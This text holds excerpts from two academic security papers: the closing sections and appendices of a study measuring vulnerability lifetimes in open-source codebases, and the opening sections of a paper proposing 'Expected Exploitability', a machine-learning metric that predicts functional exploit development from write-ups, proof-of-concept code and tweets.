higher means over time. The alternative interpretation would
be that there are parts of code that mature, i.e. we do not find
vulnerabilities affecting them anymore, and apart from these
parts we continue finding a similar ratio of new compared
to old vulnerabilities. Our data support this interpretation.
Overall, this interpretation suggests that we could be slowly
progressing towards a state of relative maturity, where vulner-
ability lifetimes become stable over time and not correlated to
code age, even if the latter is increasing. In this state, the older
parts of the codebase will be hardened, and we will be finding
vulnerabilities introduced in a possibly large, yet bounded,
time period. One could challenge this interpretation with the
argument that vulnerabilities in older parts of the code are
not found because nobody is looking for them. Although new
parts of code may come under additional manual scrutiny, we
do not believe that the vulnerability hunting process is differs
drastically between old and even-older parts of the code. It
would be beneficial to repeat the measurement some years
from now, in order to see whether the predicted behavior of
a stop to the constant increase of vulnerability lifetimes will
hold for the projects under question.

Overall, even though we may not be decreasing the
number of vulnerabilities in a given codebase, there
are indications that we could be making progress to-
wards achieving a notion of maturity, where vulnera-
bilities will be mostly absent from code older than a
specific point in the past.

Are vulnerabilities (in a given project) equal? When test-
ing for differences in vulnerability lifetimes for all CVEs (all
projects), we found that there exist statistically significant dif-
ferences, even when considering our custom categories. This

result is in line with the observations of Li and Paxson [18].
They stopped their investigation at this point, however our
dataset allowed us to explore further and investigate whether
the relative frequency of different vulnerability types in dif-
ferent projects is the cause of the observation above. Indeed,
we found no statistically significant evidence supporting a re-
lationship between the lifetime of a vulnerability and its type,
within a project. For example, Category 3 has the highest
average lifetime in Table 4 (1,760 days for all CVEs) but by
far the lowest in Table 8 (752 days for Firefox). We attribute
differences observed in previous studies to differences in the
ratios of different types in different projects. Therefore, the
notion that some vulnerability categories are in general harder
to find than others (e.g. memory bugs are harder to find than
input validation bugs), is not supported by our findings.

Different vulnerability categories seem to be equally
difficult to find (at least post release); overall, our
results are consistent with the view that all vulnerabil-
ities in a project are equal, and their order of discovery
is random.

Can we compare? Meaningful quantitative security metrics
are notoriously difficult to arrive at [38]. Metrics that can
meaningfully be used to compare different products/projects
are especially rare. Simply comparing vulnerability lifetimes
or trends in lifetimes between projects is not suitable, as they
can be heavily correlated to regular code age.

We put forward the hypothesis that the following two
metrics may be helpful for comparative studies: (a)
the spread between overall code age and vulnerability
lifetime, or alternatively the ratio between average
vulnerability lifetime and code age; (b) the rate of
change (increase or decrease) of the spread between
overall code age and vulnerability lifetime.

Further investigation of these metrics as comparison instru-
ments is a very interesting avenue for future research.
How much fuzzing is enough? Traditionally, security re-
searchers tend to focus on new, relatively less tested parts
of the code to test for vulnerabilities. Recently, Zhu and
Böhme [42] came to the conclusion that with limited re-
sources, fuzzing code that has recently changed is the best
vulnerability discovery strategy. Our results support this state-
ment to an extent, in the sense that the distribution of vulner-
ability lifetimes can be described by a decreasing function
(exponential – see Figure 5). However, a significant number
of vulnerabilities have large lifetimes and fuzzers keep dis-
covering very old vulnerabilities for years (see Section 5.6).
Taking into account the well-known asymmetries of computer
security, finding these vulnerabilities that potentially impact
many legacy systems, is also important. Furthermore, further
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focused research is required in order to better understand the
impact of fuzzing in improving the security of codebases and
its impact on vulnerability lifetimes.

Overall, fuzzing old code seems to still produce re-
sults even for “extensively tested” targets. Further
research is needed to understand and quantify the im-
pact of fuzzing and its relation to lifetimes.

7 Threats to validity

Dataset. The data in vulnerability databases often experience
bias from several sources [7].
– Completeness. Although the NVD is one of the largest col-
lections of software vulnerabilities, it can not be considered
complete, since many vulnerabilities may never get a CVE.
Further research is required to investigate the lifetime of those
vulnerabilities. Furthermore, although we strove to map as
many CVEs to their fixing commits as possible, our approach
is not able to identify a fixing commit for every single CVE
affecting a program. However, the dataset we gathered is big
and complete enough to be representative, and we do not
expect our results on vulnerability lifetimes and their charac-
teristics to be significantly influenced by some missing data
points.
– Correctness. Entries in the NVD are manually curated and
analyzed, but might still include errors. Additionally, mistakes
in the commit message when including the bug ID or a CVE-
ID can lead to incorrect mappings. We corrected these errors
during our data cleaning process, however, some errors may
have evaded detection. We expect these to be few and to not
affect our general observations.
– Generalization. Although we do not claim validity of our
results for other projects, apart from the 11 we included in
our dataset, we believe that the selected projects are a large
representative sample and the insights gained from our results
are, to an extent, of general significance.
Independence. Some of our arguments in the Results section
rely on the implied assumption that vulnerability lifetimes
are independent. It has been shown that some vulnerability
discovery events can be dependent [29], either due to a new
class of vulnerabilities being discovered, a new tool being
made available, or a new area of code coming under scrutiny.
These dependencies manifest themselves as small bursts in
the vulnerability discovery rate and are a particular problem
to vulnerability discovery models that try to model the time
between discoveries. It is difficult to imagine (let alone test)
how such dependencies would affect the lifetimes of vulner-
abilities, especially in a large and diverse dataset like ours.
Also, our empirical results do not indicate the existence of any
kind of dependency regarding vulnerability lifetimes. There-
fore, we consider the independence of vulnerability lifetimes
to be a reasonable assumption. Some points in the Discus-

sion section also imply an assumption of independence of
discovery events. Again, small bursts of discoveries may exist
due to dependent discoveries, however they do not affect the
arguments being made, which describe large-scale behaviors.
Heuristic error. Our main findings are consistent over dif-
ferent projects and over time. Therefore, we do not believe
the error of our lifetime-estimation heuristic (as discussed in
Section 4.2) to affect their validity.

8 Conclusion

In this paper we studied the lifetimes of vulnerabilities. A
vulnerability’s lifetime is the amount of time it remains in
the codebase of a software project before it is discovered and
fixed. Via a rigorous process we showed that it is possible to
accurately compute the metric (lifetime) automatically when
enough data points are available, via a heuristic code analysis
technique. Our technique is of general relevance and can be
used to study lifetimes of bugs and vulnerabilities for a wide
variety of software. We also showed that measurements using
the metric can have theoretical and practical implications.
Thus, we believe vulnerability lifetime to be a promising
software security metric.

Further research is required to better understand how the
metric can be used to quantify the impact of automated tools
on the security of codebases, as well as how vulnerabilities
not assigned CVEs affect the results of the measurement.
Moreover, further investigation of the theoretical implications
of the metric w.r.t. vulnerability discovery models and soft-
ware reliability models in general, could provide interesting
insights.
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A Appendix

A.1 Vulnerability categories
Mappings to top-level categories
Below are the mappings from CWEs to our own top level
categories:
1. Memory and Resource Management
2. Input Validation and Sanitization
3. Code Development Quality
4. Security Measures
5. Others
6. Concurrency
mappings = {CWE-20: 2, CWE-189: 4, CWE-119: 1, CWE-125: 1, CWE-
399: 1, CWE-NVD-Other: 5, CWE-200: 4, CWE-476: 1, CWE-264: 4, CWE-
416: 1, CWE-835: 3, CWE-NVD-noinfo: NaN, CWE-362: 6, CWE-400: 1,
CWE-787: 1, CWE-772: 1, CWE-310: 4, CWE-190: 1, CWE-74: 2, CWE-
17: 3, CWE-284: 4, CWE-415: 1, CWE-369: 3, CWE-19: 5, CWE-834: 3,
CWE-79: 4, CWE-754: 5, CWE-674: 3, CWE-120: 1, CWE-94: 2, CWE-
388: 5, CWE-269: 4, CWE-254: 4, CWE-129: 2, CWE-287: 4, CWE-617: 3,
CWE-276: 4, CWE-404: 1, CWE-134: 5, CWE-862: 4, CWE-320: 4, CWE-
89: 2, CWE-347: 4, CWE-682: 3, CWE-16: 5, CWE-665: 5, CWE-755: 5,
CWE-732: 4, CWE-311: 4, CWE-770: 1, CWE-252: 5, CWE-534: 5, CWE-
704: 5, CWE-22: 2, CWE-532: 5, CWE-193: 3, CWE-843: 5, CWE-391: 5,
CWE-191: 1, CWE-59: 2, CWE-763: 1, CWE-358: 4, CWE-285: 4, CWE-
863: 4, CWE-77: 2, CWE-327: 4, CWE-330: 5, CWE-295: 5, CWE-352: 5,
CWE-92: 4, CWE-664: 1, CWE-93: 2, CWE-275: 4, CWE-434: 5, CWE-
707: 2, CWE-668: 4, CWE-361: 6, CWE-319: 4, CWE-255: 4, CWE-824:
1, CWE-1187: 1, CWE-426: 4, CWE-417: 5, CWE-427: 5, CWE-610: 5,
CWE-522: 4, CWE-345: 5, CWE-354: 5, CWE-91: 2, CWE-918: 5, CWE-
922: 4, CWE-706: 5, CWE-538: 4, CWE-290: 4, CWE-601: 4, CWE-346: 5,
CWE-502: 2, CWE-1021: 5, CWE-78: 2, CWE-199: 5, CWE-829: 5, CWE-
281: 4, CWE-203: 4, CWE-401: 1, CWE-908: 1, CWE-667: 1, CWE-209: 4,
CWE-88: 2, CWE-459: 1, CWE-326: 4, CWE-270: 4, CWE-331: 5, CWE-
122: 1, CWE-367: 6, CWE-909: 1, CWE-552: 4, CWE-436: 5, CWE-131: 1,
CWE-672: 1, CWE-271: 4, CWE-681: 3, CWE-212: 4}

A.2 Lifetime Distribution
Kolmogorov-Smirnov tests. We list the results of the com-
parison using the seminal methodology of Clauset et al. [9] in
Table 6. The exponential distribution is a significantly better
fit than other candidate distributions.

Distribution R
powerlaw 9203.49
lognormal 506.33
truncated power law 5505.75
lognormal positive 506.33

Table 6: Comparison of distribution fits with exponential.
Positive R-values mean that the exponential is a better fit. All
comparisons are at a significance level of at least 99%.

Comparative probability table Table 7 is a comparative
probability table to numerically convey the goodness-of-fit of
the exponential distribution and its usefulness in calculations.

Lifetime Theoretical CDF Empirical CDF
188 0.1171 0.1
376 0.2210 0.2
562 0.3117 0.3
791 0.4090 0.4
1,081 0.5128 0.5
1,436 0.6154 0.6
1,927 0.7226 0.7
2,574 0.8197 0.8
3,520 0.9040 0.9

Table 7: Numerical comparison of empirical and theoretical
CDF. Values are chosen as the quantiles of the empirical data.
The empirical distribution does not deviate more than 2.5
percentage points from the theoretical one.

A.3 Vulnerability types per project

For completeness, we present the average and median life-
times per vulnerability category for Firefox (Table 8) and the
Linux kernel (9).

ID Name Mean Median
3 Code Development Quality 714.93 459.0
5 Others 1,116.22 977.0
6 Concurrency 1,170.27 1,137.0
4 Security Measures 1,284.52 1,139.0
1 Memory and Resource Management 1,303.23 954.5
2 Input Validation and Sanitization 1,409.22 1,149.5

Table 8: Vulnerability categories for Firefox, mean and me-
dian lifetime in days

ID Name Mean Median
2 Input Validation and Sanitization 1,534.54 1,291.0
4 Security Measures 1,660.90 1,292.0
5 Others 1,681.83 1,166.0
1 Memory and Resource Management 1,756.77 1,390.5
3 Code Development Quality 1,858.60 1,517.5
6 Concurrency 1,904.62 1,663.5

Table 9: Vulnerability categories for Linux, mean and median
lifetime in days
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Abstract
Assessing the exploitability of software vulnerabilities at

the time of disclosure is difficult and error-prone, as features
extracted via technical analysis by existing metrics are poor
predictors for exploit development. Moreover, exploitability
assessments suffer from a class bias because “not exploitable”
labels could be inaccurate.

To overcome these challenges, we propose a new metric,
called Expected Exploitability (EE), which reflects, over time,
the likelihood that functional exploits will be developed. Key
to our solution is a time-varying view of exploitability, a
departure from existing metrics. This allows us to learn EE
using data-driven techniques from artifacts published after
disclosure, such as technical write-ups and proof-of-concept
exploits, for which we design novel feature sets.

This view also allows us to investigate the effect of the
label biases on the classifiers. We characterize the noise-
generating process for exploit prediction, showing that our
problem is subject to the most challenging type of label noise,
and propose techniques to learn EE in the presence of noise.

On a dataset of 103,137 vulnerabilities, we show that EE
increases precision from 49% to 86% over existing metrics,
including two state-of-the-art exploit classifiers, while its
precision substantially improves over time. We also highlight
the practical utility of EE for predicting imminent exploits and
prioritizing critical vulnerabilities.

We develop EE into an online platform which is publicly
available at https://exploitability.app/.

1 Introduction

Weaponized exploits have a disproportionate impact on se-
curity, as highlighted in 2017 by the WannaCry [63] and
NotPetya [13] worms that infected millions of computers
worldwide. Their notorious success was in part due to the use
of weaponized exploits. The cyber-insurance industry regards
such contagious malware, which propagates automatically
by exploiting software vulnerabilities, as the leading risk for
incurring large losses from cyber attacks [53]. At the same
time, the rising bar for developing weaponized exploits [62]
pushed black-hat developers to focus on exploiting only 5%
of the known vulnerabilities [30]. To prioritize mitigation

efforts in the industry, to make optimal decisions in the gov-
ernment’s Vulnerabilities Equities Process [27], and to gain a
deeper understanding of the research opportunities to prevent
exploitation, we must evaluate each vulnerability’s ease of
exploitation.

Despite significant advances in defenses [62], exploitability
assessments remain elusive because we do not know which
vulnerability features predict exploit development. For exam-
ple, expert recommendations for prioritizing patches [47, 48]
initially omitted CVE-2017-0144, the vulnerability later ex-
ploited by WannaCry and NotPetya. While one can prove
exploitability by developing an exploit, it is challenging to
establish non-exploitability, as this requires reasoning about
state machines with an unknown state space and emergent
instruction semantics [16]. This results in a class bias of
exploitability assessments, as we cannot be certain that a “not
exploitable” label is accurate.

We address these two challenges through a metric called
Expected Exploitability (EE). Instead of deterministically la-
beling a vulnerability as “exploitable” or “not exploitable”,
our metric continuously estimates over time the likelihood
that a functional exploit will be developed, based on historical
patterns for similar vulnerabilities. Functional exploits go
beyond proof-of-concepts (POCs) to achieve the full secu-
rity impact prescribed by the vulnerability. While functional
exploits are readily available for real-world attacks, we aim
to predict their development and not their use in the wild,
which depends on many other factors besides exploitabil-
ity [30, 55, 73].

Key to our solution is a time-varying view of exploitabilty,
a departure from the existing vulnerability scoring systems
such as CVSS [42], which are not designed to take into ac-
count new information (e.g. new exploitation techniques,
leaks of weaponized exploits) that becomes available after the
scores are initially computed [18]. By systematically com-
paring a range of prior and novel features, we observe that
artifacts published after vulnerability disclosure can be good
predictors for the development of exploits, but their timeli-
ness and predictive utility varies. This highlights limitations
of prior features and a qualitative distinction between pre-
dicting functional exploits and related tasks. For example,
prior work uses the existence of public PoCs as an exploit
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predictor [30, 31, 64]. However, PoCs are designed to trigger
the vulnerability by crashing or hanging the target application
and often are not directly weaponizable; we observe that this
leads to many false positives for predicting functional exploits.
In contrast, we discover that certain PoC characteristics, such
as the code complexity, are good predictors, because trig-
gering a vulnerability is a necessary step for every exploit,
making these features causally connected to the difficulty of
creating functional exploits. We design techniques to extract
features at scale, from PoC code written in 11 programming
languages, which complement and improve upon the preci-
sion of previously-proposed feature categories. We then learn
EE from the useful features using data-driven methods, which
have been successful in predicting other incidents, e.g. vul-
nerabilities that are exploited in the wild [30, 55, 73], data
breaches [34] or website compromises [59].

However, learning to predict exploitability could be de-
railed by a biased ground truth. Although prior work had
acknowledged this challenge for over a decade [7, 55], no
attempts were made to address it. This problem, known in the
machine-learning literature as label noise, can significantly
degrade the performance of a classifier. The time-varying
view of exploitability allows us to uncover the root causes of
label noise: exploits could be published only after the data
collection period ended, which in practice translates to wrong
negative labels. This insight allows us to characterize the
noise-generating process for exploit prediction and propose a
technique to mitigate the impact of noise when learning EE.

In our experiments on 103,137 vulnerabilities, EE signif-
icantly outperforms static exploitability metrics and prior
state-of-the art exploit predictors, increasing the precision
from 49% to 86% one month after disclosure. Using our
label noise mitigation technique, the classifier performance
is minimally affected even if evidence about 20% of exploits
is missing. Furthermore, by introducing a metric to capture
vulnerability prioritization efforts, we show that EE requires
only 10 days from disclosure to approach its peak perfor-
mance. We show EE has practical utility, by providing timely
predictions for imminent exploits, even when public PoCs are
unavailable. Moreover, when employed on scoring 15 criti-
cal vulnerabilities, EE places them above 96% of non-critical
ones, compared to only 49% for existing metrics.

In summary, our contributions are as follows:
• We propose a time-varying view of exploitability based

on which we design Expected Exploitability (EE), a met-
ric to learn and continuously estimate the likelihood of
functional exploits over time.
• We characterize the noise-generating process systemati-

cally affecting exploit prediction, and propose a domain-
specific technique to learn EE in the presence of label
noise.
• We explore the timeliness and predictive utility of vari-

ous artifacts, proposing new and complementary features
from PoCs, and developing scalable feature extractors

for them.
• We perform two case studies to investigate the practical

utility of EE, showing that it can qualitatively improve
prioritization strategies based on exploitability.

EE is available as an online platform at
https://exploitability.app/.

2 Problem Overview

We define exploitability as the likelihood that a functional
exploit, which fully achieves the mandated security impact,
will be developed for a vulnerability. Exploitability reflects
the technical difficulty of exploit development, and it does not
capture the feasibility of lunching exploits against targets in
the wild [30,55,73], which is influenced by additional factors
(e.g. patching delays, network defenses, attacker choices).

While an exploit represents conclusive proof that a vul-
nerability is exploitable if it can be generated, proving non-
exploitability is significantly more challenging [16]. Instead,
mitigation efforts are often guided by vulnerability scoring
systems, which aim to capture exploitation difficulty, such as:

1. NVD CVSS [42], a mature scoring system with its Ex-
ploitability metrics intended to reflect the ease and tech-
nical means by which the vulnerability can be exploited.
The score encodes various vulnerability characteristics,
such as the required access control, complexity of the
attack vector and privilege levels, into a numeric value
between 0 and 4 (0 and 10 for CVSSv2), with 4 reflecting
the highest exploitability.

2. Microsoft Exploitability Index [19], a vendor-specific
score assigned by experts using one of four values to
communicate to Microsoft customers the likelihood of a
vulnerability being exploited [18].

3. RedHat Severity [51], similarly encoding the difficulty
of exploiting the vulnerability by complementing CVSS
with expert assessments based on vulnerability charac-
teristics specific to the RedHat products.

The estimates provided by these metrics are often inaccu-
rate, as highlighted by prior work [2, 3, 18, 52, 56] and by our
analysis in Section 5. For example, CVE-2018-8174, an ex-
ploitable Internet Explorer vulnerability, recieved a CVSS ex-
ploitability score of 1.6, placing it below 91% of vulnerability
scores. Similarly, CVE-2018-8440, an exploited vulnerability
affecting Windows 7 through 10 was assigned score of 1.8.

To understand why these metrics are poor at reflecting
exploitability, we highlight the typical timeline of a vulner-
ability in Figure 1. The exploitability metrics depend on a
technical analysis which is performed before the vulnerability
is disclosed publicly, and which considers the vulnerability
statically and in isolation.

However, we observe that public disclosure is followed
by the publication of various vulnerability artifacts such as
write-ups and PoCs containing code and additional technical
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Figure 1: Vulnerability timeline highlighting publication de-
lay for different artifacts and the CVSS Exploitability metric.
The box plot delimits the 25th, 50th and 75th percentiles, and
the whiskers mark 1.5 times the interquartile range.

information about the vulnerability, and social media discus-
sions around them. These artifacts often provide meaningful
information about the likelihood of exploits. For CVE-2018-
8174 it was reported that the publication of technical write-ups
was a direct cause for exploit development in exploit kits [6],
while a PoC for CVE-2018-8440 has been determined to
trigger exploitation in the wild within two days [76]. The ex-
amples highlight that existing metrics fail to take into account
useful exploit information available only after disclosure and
they do not update over time.

Figure 1 plots the publication delay distribution for differ-
ent artifacts released after disclosure, according to our data
analysis described in Section 5. Data shows not only that these
artifacts become available soon after disclosure,1 providing
opportunities for timely assessments, but also that static ex-
ploitability metrics, such as CVSS, are often not available at
the time of disclosure.
Expected Exploitability. The problems mentioned above
suggest that the evolution of exploitability over time can be
described by a stochastic process. At a given point in time,
exploitability is a random variable E encoding the probability
of observing an exploit. E assigns a probability 0.0 to the
subset of vulnerabilities that are provably unexploitable, and
1.0 to vulnerabilities with known exploits. Nevertheless, the
true distribution E generating E is not available at scale, and
instead we need to rely on a noisy version Etrain, as we will
discuss in Section 3. This implies that in practice E has to
be approximated from the available data, by computing the
likelihood of exploits, which estimates the expected value of
exploitability. We call this measure Expected Exploitability
(EE). EE can be learned from historical data using supervised
machine learning and can be used to assess the likelihood of
exploits for new vulnerabilities before functional exploits are
developed or discovered.

1Interestingly, some social media posts appear before disclosure. These
"leaks from coordinated disclosure" were investigated by prior work [55].

3 Challenges

We recognize three challenges in utilizing supervised tech-
niques for learning, evaluating and using EE.
Extracting features from PoCs. Prior work investigated the
existence of PoCs as predictors for exploits, repeatedly show-
ing that they lead to a poor precision [2, 31, 64]. However,
PoCs are designed to trigger the vulnerability, a step also
required in a functional exploit. As a result, the structure
and complexity of the PoC code can reflect exploitation dif-
ficulty directly: a complex PoC implies that the functional
exploit will also be complex. To fully leverage the predictive
power of PoCs, we need to capture these characteristics. We
note that while public PoCs have a lower coverage compared
to other artifact types, they are broadly available privately
because they are often mandated when vulnerabilities are
reported [25].

Extracting features using NLP techniques from prior ex-
ploit prediction work [7,30,55] is not sufficient, because code
semantics differs from that of natural language. Moreover,
PoCs are written in different programming languages and
are often malformed programs [2, 40], combining code with
free-form text, which limits the applicability of existing pro-
gram analysis techniques. PoC feature extraction therefore
requires text and code separation, and robust techniques to
obtain useful code representations.
Understanding and mitigating label noise. Prior work
found that the labels available for training have biases [7, 55],
but to our knowledge no prior attempts were made to link
this issue to the problem of label noise. The literature dis-
tinguishes two models of non-random label noise, according
to the generating distribution: class-dependent and feature-
dependent [23]. The former assumes a uniform label flipping
probability among all instances of a class, while the latter
assumes that noise probability also depends on individual
features of instances. If Etrain is affected by label noise, the
test time performance of the classifier could suffer.

By viewing exploitability as time-varying, it becomes im-
mediately clear that exploit evidence datasets are prone to
class-dependent noise. This is because exploits might not
yet be developed or be kept secret. Therefore, a subset of
vulnerabilities believed not to be exploited are in fact wrongly
labeled at any given point in time.

In addition, prior work noticed that individual vendors pro-
viding exploit evidence have uneven coverage of the vulnera-
bility space (e.g. an exploit dataset from Symantec would not
contain Linux exploits because the platform is not covered
by the vendor) [55], suggesting that noise probability might
be dependent on certain features. The problem of feature-
dependent noise is much less studied [45], and discovering
the characteristics of such noise on real-world applications is
considered an open problem in machine learning [23].

Exploit prediction therefore requires an empirical under-
standing of both the type and effects of label noise, as well as
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the design of learning techniques to address it.
Evaluating the impact of time-varying exploitability.
While some post-disclosure artifacts are likely to improve
classification, publication delay might affect their utility as
timely predictions. Our EE evaluation therefore needs to use
metrics which highlight potential trade-offs between timeli-
ness and performance. Moreover, the evaluation needs to test
whether our classifier can capitalize on artifacts with high
predictive power available before functional exploits are dis-
covered, and whether EE can capture the imminence of certain
exploits. Finally, we need to demonstrate the practical util-
ity of EE over existing static metrics, in real-world scenarios
involving vulnerability prioritization.
Goals and Non-Goals. Our goal is to estimate EE for a broad
range of vulnerabilities, by addressing the challenges listed
above. Moreover, we aim to provide estimates that are both
accurate and robust: they should predict the development of
functional exploits better than the existing scoring systems
and despite inaccuracies in the ground truth. The closest
work to our goal is DarkEmbed [64], which uses natural
language models trained on underground forum discussions
to predict the availability of exploits. In contrast, we aim to
predict functional exploits from public information, a more
difficult task as we lack direct evidence of black-hat exploit
development.

We do not aim to generate functional exploits automati-
cally. We also do not aim to analyze the code of existing
exploits in order to assess how close they are to becoming
functional. Instead, we aim to quantify the exploitability of
known vulnerabilities objectively, by predicting whether func-
tional exploits will be developed for them.While we aim to
make our exploit predictor robust to systematic label noise,
we do not attempt to improve the model’s robustness to ad-
versarial examples [55], as techniques for achieving this have
been widely studied elsewhere [10]. Finally, we do not aim
to predict which vulnerabilities are likely to be exploited in
the wild, in real-world attacks, because this likelihood is in-
fluenced by additional factors (e.g. attacker choices, patching
delays) that are out of scope for this paper.

4 Data Collection

In this section we describe the methods used to collect the data
used in our paper, as well as the techniques for discovering
various timestamps in the lifecycle of vulnerabilities.

4.1 Gathering Technical Information
We use the CVEIDs to identify vulnerabilities, because it is
one of the most prevalent and cross-referenced public vulner-
ability identification systems. Our collection contains vulner-
abilities published between January 1999 and March 2020.
Public Vulnerability Information. We begin by collecting

information about the vulnerabilities targeted by the PoCs
from the National Vulnerability Database (NVD) [43]. NVD
adds vulnerability information gathered by analysts, including
textual descriptions of the issue, product and vulnerability
type information, as well as the CVSS score. Nevertheless,
NVD only contains high-level descriptions. In order to build a
more complete coverage of the technical information available
for each vulnerability, we search for external references in
several public sources. We use the Bugtraq [8] and IBM X-
Force Exchange [28], vulnerability databases which provide
additional textual descriptions for the vulnerabilities. We also
use Vulners [70], a database that collects in real time textual
information from vendor advisories, security bulletins, third-
party bug trackers and security databases. We filter out the
reports that mention more than one CVEID, as it would be
challenging to determine which particular one is discussed.
In total, our collection contains 278,297 documents from
76 sources, referencing 102,936 vulnerabilities. We refer
to these documents as write-ups, which, together with the
NVD textual information and vulnerability details, provide a
broader picture of the technical information publicly available
for vulnerabilities.
Proof of Concepts (PoCs). We collect a dataset of public
PoCs by scraping ExploitDB [20], Bugtraq [8] and Vul-
ners [70], three popular vulnerability databases that contain
exploits aggregated from multiple sources. Because there is
substantial overlap across these sources, but the formatting of
the PoCs might differ slightly, we remove duplicates using a
content hash that is invariant to such minor whitespace differ-
ences. We preserve only the 48,709 PoCs that are linked to
CVEIDs, which correspond to 21,849 distinct vulnerabilities.
Social Media Discussions. We also collect social media dis-
cussions about vulnerabilities from Twitter, by gathering
tweets mentioning CVE-IDs between January 2014 and De-
cember 2019.We collected 1.4 million tweets for 52,551 vul-
nerabilities by continuously monitored the Twitter Filtered
Stream API [68], using the approach from our prior work [55].
While the Twitter API does not sample returned tweets, short
offline periods for our platform caused some posts to be lost.
By a conservative estimate using the lost tweets which were
later retweeted, our collection contains over 98% of all public
tweets about these vulnerabilities.
Exploitation Evidence Ground Truth. Because we are not
aware of any comprehensive dataset of evidence about devel-
oped exploits, we aggregate evidence from multiple public
sources.

We begin from the Temporal CVSS score, which tracks
the status of exploits and the confidence in these reports. The
Exploit Code Maturity component has four possible values:
"Unproven", "Proof-of-Concept", "Functional" and "High".
The first two values indicate that the exploit is not practi-
cal or not functional, while the last two values indicate the
existence of autonomous or functional exploits that work in
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most situations. Because the Temporal score is not updated
in NVD, we collect it from two reputable sources: IBM X-
Force Exchange [28] threat sharing platform and the Tenable
Nessus [66] vulnerability scanner. Both scores are used as
inputs to proprietary severity assessment solutions: the former
is used by IBM in one of their cloud offerings [71], while
the latter is used by Tenable as input to commercial vulnera-
bility prioritization solutions [67]. We use the labels "Func-
tional" and "High" as evidence of exploitation, as defined
by the official CVSS Specification [42], obtaining 28,009
exploited vulnerabilities. We further collect evidence of 2,547
exploited vulnerabilities available in three commercial ex-
ploitation tools: Metasploit [50], Canvas [29] and D2 [14].
We also scrape the Bugtraq [8] exploit pages, and create NLP
rules to extract evidence for 1,569 functional exploits. Ex-
amples of indicative phrases are: "A commercial exploit is
available.", "A functional exploit was demonstrated by re-
searchers.".

We also collect exploitation evidence that results from ex-
ploitation in the wild. Starting from a dataset collected from
Symantec in our prior work [55], we update it by scraping
Symantec’s Attack Signatures [4] and Threat Explorer [61].
We then aggregate labels extracted using NLP rules (matching
e.g. "... was seen in the wild.") from scrapes of Bugtraq [8],
Tenable [65], Skybox [58] and AlienVault OTX [44]. In
addition, we use the Contagio dump [39] which contains a
curated list of exploits used by exploit kits. These sources
were reported by prior work as reliable for information about
exploits in the wild [30,41,55]. Overall, 4,084 vulnerabilities
are marked as exploited in the wild.

While exact development time for most exploits is not avail-
able, we drop evidence if we cannot confirm they were pub-
lished within one year after vulnerability disclosure, simulat-
ing a historical setting. Our ground truth, consisting of 32,093
vulnerabilities known to have functional exploits, therefore
reflects a lower bound for the number of exploits available,
which translates to class-dependent label noise in classifica-
tion, issue that we evaluate in Section 7.

4.2 Estimating Lifecycle Timestamps

Vulnerabilities are often published in NVD at a later date than
their public disclosure [5, 33]. We estimate the public disclo-
sure dates for the vulnerabilities in our dataset by selecting the
minimum date among all write-ups in our collection and the
publication date in NVD, in line with prior research [33, 57].
This represents the earliest date when expected exploitability
can be evaluated. We validate our estimates for the disclo-
sure dates by comparing them to two independent prior esti-
mates [33, 57], on the 67% of vulnerabilities which are also
found in the other datasets. We find that the median date dif-
ference between the two estimates is 0 days, and our estimates
are an average of 8.5 days earlier than prior assessments. Sim-
ilarly, we estimate the time when PoCs are published as the

minimum date among all sources that shared them, and we
confirm the accuracy of these dates dates by verifying the
commit history in exploit databases that use version control.

To assess whether EE can provide timely warnings, we
need the dates for the emergence of functional exploits and
attacks in the wild. Because the sources of exploit evidence
do not share the dates when exploits were developed, we
estimate these dates from ancillary data. For the exploit toolk-
its, we collect the earliest date when exploits are reported
in the Metasploit and Canvas platforms. For exploits in the
wild, we use the dates of first recorded attacks, from prior
work [55]. Across all exploited vulnerabilities, we also crawl
VirusTotal [69], a popular threat sharing platform, for the
timestamps when exploit files were first submitted. Finally,
we estimate exploit availability as the earliest date among
the different sources, excluding vulnerabilities with zero-day
exploits. Overall, we discovered this date for 10% (3,119)
of the exploits.These estimates could result in label noise,
because exploits might sometimes be available earlier, e.g.
PoCs that are easy to weaponize. In Section 7.3 we measure
the impact of such label noise on the EE performance.

4.3 Datasets
We create three datasets that we use throughout the paper
to evaluate EE. DS1 contains all 103,137 vulnerabilities in
our collection that have at least one artifact published within
one year after disclosure. We use this to evaluate the time-
liness of various artifacts, compare the performance of EE
with existing baselines, and measure the predictive power
of different categories of features. The second dataset, DS2,
contains 21,849 vulnerabilities that have artifacts across all
different categories within one year. This is used to compare
the predictive power of various feature categories, observe
their improved utility over time, and to test their robustness to
label noise. The third one, DS3 contains 924 out of the 3,119
vulnerabilities for which we estimated the exploit emergence
date, and which are disclosed during our classifier deployment
period described in Section 6.3. These are used to evaluate
the ability of EE to distinguish imminent exploit.

5 Empirical Observations

We start our analysis with three empirical observations on
DS1, which guide the design of our system for computing EE.
Existing scores are poor predictors. First, we investigate
the effectiveness of three vulnerability scoring systems, de-
scribed in Section 2, for predicting exploitability. Because
these scores are widely used, we will utilize them as base-
lines for our prediction performance; our goal for EE is to
improve this performance substantially. As the three scores
do not change over time, we utilize a threshold-based deci-
sion rule, which predicts that all vulnerabilities with scores
greater or equal than the threshold are exploitable. By varying
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Figure 2: Performance of existing severity scores at capturing
exploitability. We report both precision (P) and recall (R).
The numerical score values are ordered by increasing severity.

the threshold across the entire score range, and using all the
vulnerabilities in our dataset, we evaluate their precision (P):
the fraction of predicted vulnerabilities that have functional
exploits within one year from disclosure, and recall (R): the
fraction of exploited vulnerabilities that are identified within
one year.

Figure 2 reports these performance metrics. It is possible
to obtain R = 1 by marking all vulnerabilities as exploitable,
but this affects P because many predictions would be false
positives. For this reason, for all the scores, R decreases as we
raise the severity threshold for prediction. However, obtaining
a high P is more difficult. For CVSSv3 Exploitability, P does
not exceed 0.19, regardless of the detection threshold, and
some vulnerabilities do not have scores assigned to them. In
the technical report [60] we evaluate CVSSv2, which yields
similar results.

When evaluating the Microsoft Exploitability Index on the
1,100 vulnerabilities for Microsoft products in our dataset
disclosed since the score inception in 2008, we observe that
the maximum precision achievable is 0.45. The recall is
also lower because the score is only computed on a subset of
vulnerabilities [18].

On the 3,030 vulnerabilities affecting RedHat products, we
observe a similar trend for the proprietary severity metric,
where precision does not exceed 0.45.

These results suggest that the three existing scores predict
exploitability with > 50% false positives. This is compounded
by the facts that (1) some scores are not computed for all vul-
nerabilities, owing to the manual effort required, which intro-
duces false negative predictions; (2) the scores do not change,
even if new information becomes available; and (3) not all the
scores are available at the time of disclosure, meaning that
the recall observed operationally soon after disclosure will be
lower, as highlighted in the next section.
Artifacts provide early prediction opportunities. To assess
the opportunities for early prediction, we look at the publica-
tion timing for certain artifacts from the vulnerability lifecycle.
